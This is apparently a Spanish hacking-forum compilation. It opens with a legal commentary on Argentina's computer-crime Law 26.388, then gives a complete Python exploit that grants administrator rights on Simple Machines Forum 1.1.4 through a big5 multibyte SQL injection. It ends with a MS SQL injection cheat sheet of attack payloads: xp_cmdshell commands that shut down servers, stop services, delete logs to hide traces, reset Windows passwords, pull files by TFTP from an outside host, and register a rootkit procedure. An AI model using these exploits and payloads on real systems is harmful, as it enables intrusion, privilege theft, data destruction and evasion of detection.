Para tener mayor claridad sobre este punto, resulta conveniente transcribir el mencionado artículo 183, que dice lo siguiente: “Será reprimido con prisión de quince días a un año, el que destruyere, inutilizare, hiciere desaparecer o de cualquier modo dañare una cosa mueble o inmueble o un animal, total o parcialmente ajeno, siempre que el hecho no constituya otro delito más severamente penado”.

Lo mismo que en caso de la aplicación de la figura de estafa al fraude informático, lo correcto es afirmar, no que el artículo 183 CP no es aplicable al daño informático, sino que, tal como está redactado, no está claro que lo sea, y como en materia penal rige el principio de legalidad y la prohibición de la analogía, esa falta de claridad da lugar a interpretaciones encontradas. La jurisprudencia argentina se ha mostrado también en este punto vacilante, pronunciándose en algunos casos a favor de la aplicación de la figura, pero en la mayoría en contra de la aplicabilidad. Finalmente, resta decir que el texto original de la Cámara de Diputados sufrió una importante reforma en el Senado, sustituyéndose una redacción que podía llegar a dar pie a interpretaciones que afecten los intereses de las empresas de software.

El texto originalmente propuesto por la Cámara de Diputados establecía lo siguiente:
Incorpórase al artículo 183 del Código Penal de la Nación como segundo y tercero párrafos los siguientes:
"Se impondrá prisión de un mes a dos años, al que, por cualquier medio, destruyere en todo o en parte, borrare, alterare en forma temporal o permanente, o de cualquier manera impidiere la utilización de datos o programas, cualquiera sea el soporte en que estén contenidos durante un proceso de comunicación electrónica.
La misma pena se aplicará a quien vendiere, distribuyere o de cualquier manera hiciere circular o introdujere en un sistema informático, cualquier programa destinado a causar daños de los descriptos en el párrafo anterior, en los programas de computación o en los datos contenidos en cualquier tipo de sistema informático y de telecomunicaciones".

La redacción confusa del artículo propuesto daba pie a que pudiera interpretarse que el delito de daño informático se daría, entre otros supuestos, siempre que alguien, en virtud de la introducción de algún programa en un sistema informático o en otro programa, causara el daño consistente en impedir de cualquier manera la utilización de datos o programas, constituyéndose en una fuente potencial de conflictos para las empresas de software (que utilizan en sus productos los DRM) y contradiciendo el artículo 11 (“Las Partes Contratantes proporcionarán protección jurídica adecuada y recursos jurídicos efectivos contra la acción de eludir las medidas tecnológicas efectivas que sean utilizadas por los autores en relación con el ejercicio de sus derechos en virtud del presente Tratado o del Convenio de Berna y que, respecto de sus obras, restrinjan actos que no estén autorizados por los autores concernidos o permitidos por la Ley”) del Tratado de la OMPI sobre Derechos de Autor de 1996, vigente desde el 06/03/2002, y aprobado por Argentina en 1999.

En coincidencia con eso, es interesante lo que dice el Dictamen de Senadores, pero aludiendo, en este caso, al artículo 153:

El Dictamen de Comisiones de la Cámara de Senadores señala sobre el elemento normativo incorporado al tipo: “Con respecto al actual artículo 153 del Código Penal, última parte del primer párrafo (… suprimiere o desviare de su destino una correspondencia que no le esté dirigida) es razonable la propuesta de la Cámara de origen de incorporar no sólo la comunicación electrónica sino también la expresión ‘indebidamente’ en el tipo, para que no le queden dudas al intérprete respecto a requerir la finalidad dolosa del autor del delito, y evitar cualquier hermenéutica tendiente a considerar comprendidos en el tipo a quienes en procura de mejorar el servicio que prestan a sus usuarios, activan mecanismos de protección, tales como antivirus, filtros o algoritmos de desvío de correo electrónico para evitar lo que se conoce como spam, o la recepción de correos no deseados por sus clientes”.

Legislación internacional sobre delitos informáticos
Por otra parte, cabe señalar que, a nivel mundial, muchos países cuentan con legislación en materia de delitos informáticos, algunos incluso desde hace ya más de una década. A título ejemplificativo podemos mencionar los siguientes: Alemania (1986), USA (1986 y 1994), Austria (1987), Francia (1988), Inglaterra (1990), Italia (1993), Holanda (1993), España (1995) y el Consejo de Europa (Convención sobre el Cybercrimen de 2001).

También en Latinoamérica varios países han legislado este tipo de delitos, entre otros: Chile (Ley 19.223 de 1993), Bolivia (Ley 1.768 de 1997), Paraguay (reforma al CP en 1997), Perú (reforma al CP en 2000), Colombia (Ley 679 de 2001 sobre pornografía infantil en redes globales), Costa Rica (Leyes 8.131 y 8.148 de 2001), Venezuela (Ley Especial de 2001) y México (Código Penal Federal).

La importancia de la ley sancionada
La sanción de la Ley 26.388 constituye un gran avance en la materia; tal vez sea el acontecimiento del año para el derecho informático en Argentina. Sólo basta recordar, nuevamente, que en materia penal rigen los principios de legalidad (una acción no es delictiva si no está expresamente tipificada como tal por una ley, por más aberrante y dañosa que pueda llegar a ser) y, como consecuencia, la prohibición de la analogía (no se puede castigar una conducta no tipificada por su analogía con otra tipificada).

Es por ello que se hacía necesaria la sanción de una ley que tipificara con precisión las conductas delictivas llevadas a cabo mediante el empleo de la informática, llenando algunas lagunas normativas a través de la previsión de nuevas modalidades delictivas y nuevos bienes jurídicos a proteger. Sin embargo, la sanción de la mencionada ley no modifica sustancialmente el tema, al menos en lo que respecta a algunas conductas que ya habían sido encuadradas por la jurisprudencia argentina en los tipos previstos por el CP.

En síntesis, esta ley es producto de receptar cuestiones que han llegado a nuestros tribunales y que han sido ya resueltas, como así también de concretar compromisos internacionales asumidos por nuestro país. Algunos casos sometidos a la justicia penal han sido resueltos favorablemente a partir de la adopción de figuras penales existentes. A partir de ahora, personas físicas, empresas, instituciones, organismos públicos, etc., deberán tomar los recaudos necesarios para no ver comprometida su responsabilidad o imagen en la comisión de delitos sobre los que, hasta hoy, la jurisprudencia se había pronunciado, aunque no de manera unánime, pero que a partir de ahora podrán ser castigados en base a un claro fundamento legal.

Martín Carranza Torres y Horacio Bruera
Carranza Torres & Asociados
-Asesoramiento Legal en Tecnología-

Mas Alla de un simple XSS

Tutorial por parte de Tec-n0x donde se explican diferentes formas para explotar una falla XSS para defacear.

Link: editcodex.net/XSS.pdf

Simple Machines Forum 1.1.1 Inyexion

#!/usr/bin/python
"""
#=================================================================================================#
# ____ __________ __ ____ __ #
# /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ #
# | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ #
# | | | \ | |/ \ \___| | /_____/ | || | #
# |___|___| /\__| /______ /\___ >__| |___||__| #
# \/\______| \/ \/ #
#=================================================================================================#
# This was a priv8 Exploit #
#=================================================================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
#====================================#===========#====================================#===========#
# Server Configuration Requirements # # Some Information # #
#====================================# #====================================# #
# # #
# register_globals = 1 # Vendor: www.simplemachines.org #
# # Author: The:Paradox #
#================================================# Severity: N/A #
# # #
# You may find exploits updates and more # #
# explanations on => # Proud To Be Italian. #
# http://paradox.altervista.org # #
# # #
#====================================#===========#================================================#
# Board Description # #
#====================================# #
# #
# Simple Machines Forum - SMF in short - is a free, professional grade software package that #
# allows you to set up your own online community within minutes. #
# Its powerful custom made template engine puts you in full control of the lay-out of your #
# message board and with our unique SSI - or Server Side Includes - function you can let your #
# forum and your website interact with each other. #
# SMF is written in the popular language PHP and uses a MySQL database. It is designed to provide #
# you with all the features you need from a bulletin board while having an absolute minimal #
# impact on the resources of the server. #
# SMF is the next generation of forum software - and best of all it is and will always #
# remain completely free! #
# #
#====================================#============================================================#
# Proof Of Concept / Bug Explanation # #
#====================================# #
# This is a quite old exploit and it is inapplicable on 1.1.5 version and on last 2.0 pre-release #
# (that's why I decided to public it). First, let's have a little poc. #
#=================================================================================================#

[Load.php]

148. if (isset($db_character_set) && preg_match('~^\w+$~', $db_character_set) === 1)
149. db_query("
150. SET NAMES $db_character_set", __FILE__, __LINE__);


#=================================================================================================#
# In Load.php if $db_character_set is set Smf will execute a Set Names Sql Query. #
# Directly from dev.mysql.com let's see what it means. #
# #
# "SET NAMES indicates what character set the client will use to send SQL statements to the #
# the server. Thus, SET NAMES 'cp1251' tells the server future incoming messages from this client #
# are in character set cp1251." #
# #
# Ok, now let's see what $db_character_set is. #
# $db_character_set is a "Settings.php variable" written only if a "Non-Default tick" #
# is checked during the installation process. #
# The real vulnerability is when the "Non-Default tick" is left unchecked, Smf doesn't write #
# it in "Settings.php" and no value is assigned to it: it's possible to set it #
# via register_globals. #
# #
# Now the cool poc section =D #
# Surely you saw that preg_match avoids any injection of non-alphanumerical chars in the query #
# at line 150 in Load.php #
# So, how is possible to take advantage of that? #
# To understand this vulnerability you have to comprehend some character set presents multibyte #
# characters and they may obiate addslashes() function. #
# Addslashes simply adds a backslash (0x5c) before single quote ('), double quote ("), #
# backslash (\) and NUL (the NULL byte), without checking if the added blackslash creates #
# another char. #
# No, i'm not going mad :P Here is an example: #
# #
# Bytes in Input #
# 0xa327 #
# #
# Addslashes(Bytes in Input) #
# 0xa35c27 #
# #
# In big5, but also in other multibyte charsets, 0xa35c is a valid char: 0x27 (') is left alone. #
# Therefore a lot of smf's queries are vulnerable if $db_character_set is settable. #
# In this exploit i will inject sql code in Update syntax, increasing user's privledges. #
#=================================================================================================#
# Exploit tested on 1.1.3 and 1.1.4 Smf's versions. #
#=================================================================================================#
# Use this exploit at your own risk. You are responsible for your own deeds. #
#=================================================================================================#
# Python Exploit Starts #
#=================================================================================================#
"""
from sys import argv, exit
from httplib import HTTPConnection
from urllib import urlencode, unquote
from time import sleep
print """
#=================================================================#
# Simple Machines Forum <= 1.1.4 #
# Sql Injection Vulnerability #
# Priviledge Escalation Exploit #
# #
# ###################################### #
# # Let's get administrator rights!!! # #
# ###################################### #
# #
# Discovered By The:Paradox #
# #
# Usage: #
# ./Exploit [Target] [Path] [PHPSessID] [Userid] #
# #
# Example: #
# ./Exploit 127.0.0.1 /SMF/ a574bfe34d95074dea69c00e38851722 9 #
# ./Exploit www.host.com / 11efb3b6031bc79a8dd7526750c42119 36 #
#=================================================================#
"""

if len(argv)<=4: exit()


sn = "PHPSESSID" # Session cookie name. You may have to change this.
port = 80

target = argv[1]
path = argv[2]
sv = argv[3]
uid = argv[4]


class killsmf:

def __init__(self):

print "[.] Exploit Starts."

self.GetSesc()
self.CreateLabels()
self.Inject()

print "[+] All done.\n Now user with ID_MEMBER " + uid + " should have administrator rights. \n -= Paradox Got This One =-"

def GetSesc(self):

print "[+] Trying to read Sesc"

for i in range (0,2):
conn = HTTPConnection(target,port)
conn.request("GET", path + "index.php?action=pm;sa=manlabels;", {}, {"Accept": "text/plain","Cookie": sn + "=" + sv + ";"})
rsp = conn.getresponse()
r = rsp.read()

if rsp.status == 404:
exit ("[-] Error 404. Not Found")
elif r.find('') != -1 :
self.sesc = r.split('')[0]
if len(self.sesc) != 32: exit ("[-] Invalid Sesc")
print "[+] Sesc has been successfully read ==> "+self.sesc
else:
exit ("[-] Unable to find Sesc")

def CreateLabels(self):
print "[+] Creating three labels..."
for i in range (0,3):
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label" : i, "add" : "Add+New+Label"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})
sleep(0.35)
def Inject(self):
print "[+] Sql code is going to be injected."
conn = HTTPConnection(target,port)
conn.request("POST", path + "index.php?debug;action=pm;sa=manlabels;sesc="+self.sesc, urlencode({"label_name[0]" : "o rly" + unquote("%a3%27"),"label_name[1]" : "ID_GROUP=1 WHERE/*", "label_name[2]" : "*/ID_MEMBER=" + uid + "/*", "save" : "Save", "sc" : self.sesc, "db_character_set": "big5"}), {"Accept": "text/plain","Content-type": "application/x-www-form-urlencoded","Referer": "http://" + target + path + "/index.php?action=pm;sa=manlabels", "Cookie": sn + "=" + sv + ";"})

killsmf()


Link: http://www.milw0rm.com/exploits/5826

Multiples fallas en fotolog :D

Bueno aca un DOC de nuestro compatriota Knet q al no ver respuesta de los administradores de Fotolog.com decidio hacer publicos los bugs dejamos el link al doc

http://remoteexecution.org/fotolog/public.html

MS SQL Injecting

-[ INFO ]---------------------------------------------------------------------
Title: MS SQL Injecting (TSQL commands)
Author: JosS
contact: sys-project[!]hotmail.com
site: http://spanish-hackers.com/

Spanish Hackers Team - [SHT]
EspSeC & Hack0wn!
from spain

* Spanish version -//

-[ INDEX ]---------------------------------------------------------------------
0x01: Introducción
0x02: Comandos
0x03: Caracteres
0x04: Variables
0x05: Tablas
0x06: Procedimientos
0x07: Exploits (hacking)

0x08: JosS



####### ---[ 0x01: Introducción ]--- #######

Los ataques de SQL Injection nos permiten diferentes puntos y modos de
ataque dependiendo del gestor de Base de Datos que se utilice, cada gestor
tiene sus propias características y lenguaje (Estructured Query language).
En este texto nos vamos a centrar en el gestor de base de datos de
'Microsoft' (MS SQL), el cual utiliza su propio lenguaje, llamado TSQL (Transact sql).
El motivo de elegir este objetivo como partida de nuestros ataques es por la poca
documentación que se encuentra sobre la explotación de esta.

He hay la cuestión.



####### ---[ 0x02: Comandos ]--- #######

- Determina la base de datos sobre la que se realizará la consulta.
use 'x'
use master select * from sysobjects

- Selección de los campos separados por comas dentro de la tabla seleccionada.
select 'x'
select username, password from users

- Carácter comodín.
*
select * from users

- Selección de tablas separadas por comas.
from 'x'
select * from tabla1,tabla2

- Determina una condición a cumplir.
where 'x'
select username,password from users where id=0 or id=1

- Permite ordenar los registros por las columnas deseadas.
order by 'x'
select username, password from users order by username Desc

- Permite realizar agrupaciones de registros.
group by 'x'
select count(rol) as cuenta, rol from usuarios group by rol

- Une dos sentencias sql en una sola.
union
select * from users union select * from users2

- Devuelve todos los campos de las tablas.
all
select * from users union all select * from users2

- Devuelve un determinado número de registros de la tabla.
top
select top 1 from users

- Permite borrar registros, archivos, etc.
delete
delete from users

- Quita todas las filas de una tabla sin registrar las eliminaciones.
truncate
truncate users

- Modifica valores de una tabla.
update
update users set pass='xxx'

- Inserta valores en una tabla.
insert
insert into users values ('joss',null)

- Permite crear objetos en la BD.
create

- Permite destruir objetos en la BD.
drop

- Permite modificar objetos en la BD.
alter

- Termina un proceso de usuario basado en el Id.
kill 'x'
kill 53

- Convierte las expresiones en otros tipos de datos.
cast
cast (expresión AS tipo de datos)



####### ---[ 0x03: Caracteres ]--- #######


- Delimitador de consultas para lanzar la sentencia actual.
;


- Delimitador de cadenas de datos de caracteres y fechas.
'

- Delimitador de comentarios.
--
select * from users-- esto no lo ejecuta

- delimitador de comentarios.
/*'x'*/
select * from users/* esto no lo ejecuta*/

- Da inicio al nombre de procedimientos almacenados.
xp_sp_

- Llamada a un procedimiento almacenado o función.
exec
execute

- Carácter de concatenación
+
select+username+from+users



####### ---[ 0x04: Variables ]--- #######

- Fecha y hora actuales.
current_timestamp

- Nombre de usuario de la BD que realiza la inserción.
current_user

- Nombre de usuario de sesión que realiza la inserción.
session_user

- Nombre de usuario de sistema que realiza la inserción.
system_user

- 0 si la instrucción TSQL anterior no encontró errores.
@@error

- Número de transacciones activas de la conexión.
@@tracount

- Id de la estación de trabajo.
host_id

- Nombre de la estación de trabajo.
host_name

- Nos da las estadísticas de entrada y salida de los archivos de BD.
fn_virtualfilestats
select * from :: fn_virtualfilestats(1,1)

- Información de los archivos de las distintas Base de Datos.
sys.master_files

- Contiene los nombres de las unidades compartidas por el servidor.
fn_servershareddrives



####### ---[ 0x05: Tablas ]--- #######

- syscolumns, almacena las columnas de cada tabla con sus propiedades.
- sysdepends, almacena las dependencias de unos objetos con otros en la BD.
- sysfilegroups, asocia los grupos ficheros (mdf, ldf, etc) de la BD a los ficheros en sí.
- sysfiles, almacenan los ficheros físicos en sí con su ruta correspondiente.
- sysforeignkeys, almacenan las claves foráneas de la BD.
- sysfulltextcatalogs, guarda información de los catálogos de sistema.
- sysindexes, guarda todas las indexaciones de combinaciones de campos sobre tablas de la BD.
- syspermissions, guarda permisos sobre los objetos de la BD.
- sysproperties, guarda descripciones de tablas y campos del modelo relacional.
- sysprotectsque, guarda información de permisos asociados a las cuentas de seguridad de la BD.
- sysreferences, guarda la información de las relaciones entre tablas de la BD.
- systypes, tipos de datos posbiles a definir en el gestor de BDsystypes.
- sysusers, roles de inicios de sesión posibles en la BD.

- sysfulltextnotify, syscursocolumns, syscursorrefs, syscursors, syscursortables, sysfiles1,
syslocks, sysxlogins, etc...



####### ---[ 0x06: Procedimientos ]--- #######

sp_addalias
sp_addapprole
sp_addgroup
sp_addlinkedsrvlogin
sp_addlogin
sp_addrole
sp_addrolemember
sp_addumpdevice
sp_adduser
sp_altermessage
sp_approlepassword
sp_change_users_login
sp_changedbowner
sp_changegroup
sp_changeobjectowner
sp_configure
sp_dbcmptlevel
sp_dboption (update)
sp_dboption update part
sp_defaultdb
sp_defaultlanguage
sp_denylogin
sp_diskdefault
sp_dropalias
sp_dropapprole
sp_dropdevice
sp_dropgroup
sp_droplinkedsrvlogin
sp_droplogin
sp_dropremotelogin
sp_droprole
sp_droprolemember
sp_dropuser
sp_fulltext_catalog
sp_fulltext_column
sp_fulltext_database
sp_fulltext_service
sp_fulltext_table
sp_grantdbaccess
sp_grantlogin
sp_helplogins
sp_password
sp_recompile
sp_refreshview
sp_remoteoption
sp_remoteoption (update)
sp_rename
sp_renamedb
sp_revokedbaccess
sp_revokelogin
sp_tableoption
sp_updatestats

(BOF)-->

xp_controlqueueservice
xp_createprivatequeue
xp_createqueue
xp_decodeq ueuecmd
xp_deleteprivatequeue
xp_deletequeue
xp_displayqueuemesgs
xp_dsninfo
xp_mergelineages
xp_oledbinfo
xp_proxiedmetadata
xp_readpkfromqueue
xp_readpkfromvar bin
xp_repl_encrypt
xp_resetqueue
xp_sqlinventory
xp_unpackcab



####### ---[ 0x07: Exploits ]--- #######

- Nombres de las distintas base de datos existentes en el gestor de BD:
use master select * from sysdatabases

- Obtenemos todas las tablas de todas las base de datos:
select * from sysobjects where xtype = 'U'

- Obtenemos los nombres de todas las tablas contenidas en la base de datos ('x'):
use 'x' select * from sysobjects where xtype = 'U'
use users select * from sysobjects where xtype = 'U'

- Obtenemos todo el código TSQL dado de alta en la BD:
select * from syscomments

- Obtenemos los procedimientos almacenados que usan las tablas o campos donde se manejan cuentas:
select * from syscomments where text like '%cuentas%'

- Obtenemos el inicio de sesión actual:
select current_user

- Obtenemos el usuario de la Base de Datos:
select user

- Obtenemos la versión de SQL Server:
select @@version

- Obtenemos la fecha actual del servidor:
select getdate()

- Información referente a los inicios de sesión del gestor de base de datos:
use master select name from sysxlogins
select name, password from sysxlogins

- Bases de datos existentes en el servidor:
use master select name from sysdatabases

- Leer archivos del sistema:
exec master..xp_readerrorlog 1,N'c:\boot.ini'

- Leer el registro de Windows:
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLpath'
exec xp_instance_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Setup','SQLpath'

- Utilización de waitfor:
select * from 'x' waitfor delay '00:00:10'
select * from users waitfor delay '00:00:10'

- Denegación de servicio:
'; delete table usuarios--
'; xp_cmdshell ('shutdown')--

- Consultar y alterar archivos en el servidor:
exec master..xp_cmdshell 'COPY c:\winnt\system32\cmd.exe c:\inetpub\wwwroot\chroot.exe'
exec master..xp_cmdshell 'DIR c:\winnt\system32\logfiles\w3svc1\'

- Parar servicios:
exec master..xp_cmdshell 'NET STOP "Servicio de publicación de World Wide Web"'

- Borrado de huellas:
exec master..xp_cmdshell 'DEL c:\winnt\system32\logfiles\w3svc1|filelog.log'

- Iniciar un servicio:
exec master..xp_cmdshell 'NET START "Servicio de publicación de World Wide Web"'

- Cambiar datos de la cuenta de usuarios de Windows:
exec master..xp_cmdshell 'NET USER username password'

- Añadir un usuario al inicio de sesión del gestor de base de datos:
'exec master..sp_addlogin MyUser, MyPass

- Mover archivos desde otras ubicaciones:
execute master..xp_cmdshell 'TFTP -i www.spanish-hackers.com GET c:\local_file c:\remote_file'

- Creación de consultas encriptadas:
create procedure 'x' with encryption as select * from users
create procedure pp with encryption as select * from users

- Rootkits:
use master exec sp_addextendedproc 'mi_rootkit', 'c:\Archivos de programa\Microsoft SQLServer\
MSSQL\Binn\xplog70.dll' GO

- Backup:
'; use master BACKUP DATABASE [master] TO DISK = N'C:\h' WITH NOINIT, NOUNLOAD, NAME = N'C',
NOSKIP, STATS = 10, NOFORMAT--



####### ---[ 0x08: JosS ]--- #######

Jose Luis Góngora Fernández (JosS)

In memory of rgod.

Take care,
/JosS

# spanish-hackers.com





http://spanish-hackers.com/txt/tsql.txt

take care,
/JosS